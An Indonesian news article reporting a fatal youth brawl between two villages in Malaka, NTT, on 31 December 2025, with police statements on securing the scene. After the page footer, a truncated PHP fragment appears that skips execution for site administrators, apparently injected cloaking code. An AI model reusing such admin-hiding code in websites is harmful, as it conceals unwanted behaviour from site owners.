Hukum

Duka Akhir Tahun 2025, Satu Tewas Dua Kritis dalam Tawuran Pemuda Dua Desa di Malaka

×

Duka Akhir Tahun 2025, Satu Tewas Dua Kritis dalam Tawuran Pemuda Dua Desa di Malaka

Sebarkan artikel ini

BETUN, MENARASUMBA.COM — Perkelahian antarpemuda dua desa di Kabupaten Malaka, NTT makan korban jiwa dan meninggalkan duka di akhir tahun.

Insiden tragis pada Rabu (31/12/2025) di hari terakhir tahun 2025 ini berujung tewasnya Yulianus Bere, warga Desa Lorotolus, Kecamatan Wewiku, Kabupaten Malaka.

Sementara dua warga Lorotolus lain dilaporkan dalam kondisi kritis, usai dikeroyok dalam peristiwa yang terjadi pukul 12. 00 WITA.

Peristiwa berdarah di Pasar Mingguan Besitaek Desa Umalawain, Kecamatan Weliman ini dilatarbelakangi tawuran yang melibatkan pemuda Desa Lorotolus, Kecamatan Wewiku, dan pemuda Desa Umalawain, Kecamatan Weliman.

Diduga pemicunya adalah konflik antardesa yang berkembang hingga terjadi aksi saling serang dan perusakan sejumlah fasilitas milik warga.

Dalam sebuah video berdurasi 9 detik, terlihat satu unit motor dibakar warga hingga hangus di tengah jalan raya.

Bahkan, sebuah bengkel motor juga hangus turut dibakar massa yang beringas.

Sejumlah pemuda nampak bergerombol dengan motor terparkir di tengah jalan dalam satu video lain, sambil menenteng kayu dan batu.

Pada video lain, seorang pria berkaos hitam bercelana pendek, terbaring kaku di tepi jalan.

Diduga pria ini adalah salah satu korban dalam aksi tawuran itu.

Tak ada warga yang berani keluar, dan lebih memilih untuk berdiam diri dalam rumah masing-masing.

Turun Tangan Langsung

Menyikapi kondisi genting ini, dengan sigap Kapolres Malaka, AKBP Riki Ganjar Gumilar, SIK, MM, turun tangan langsung memimpin anggotanya di TKP.

“Kondisi sudah kondusif, kami telah amankan TKP dan personel bersiaga pada lokasi dimana pemuda dua desa itu bertikai,” ujar Kapolres.

Tindakan ini, kata Riki, selain mencegah berlanjutnya pertikaian, juga untuk memberi rasa aman bagi warga.

Ia menegaskan, anggotanya tidak saja berjaga-jaga mengamankan lokasi kejadian namun juga mendalami dan mengumpulkan bukti untuk kepentingan proses hukum.

Dari penyelidikan dan pengumpulan bahan keterangan (pulbaket) ini polisi bisa mengambil langkah untuk menentukan terduga pelaku.

“Penegakan hukum dilakukan secara profesional dan berkeadilan sebagai upaya memberi kepastian hukum serta meredam potensi aksi balasan antar warga.” tandasnya. ( JOB/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>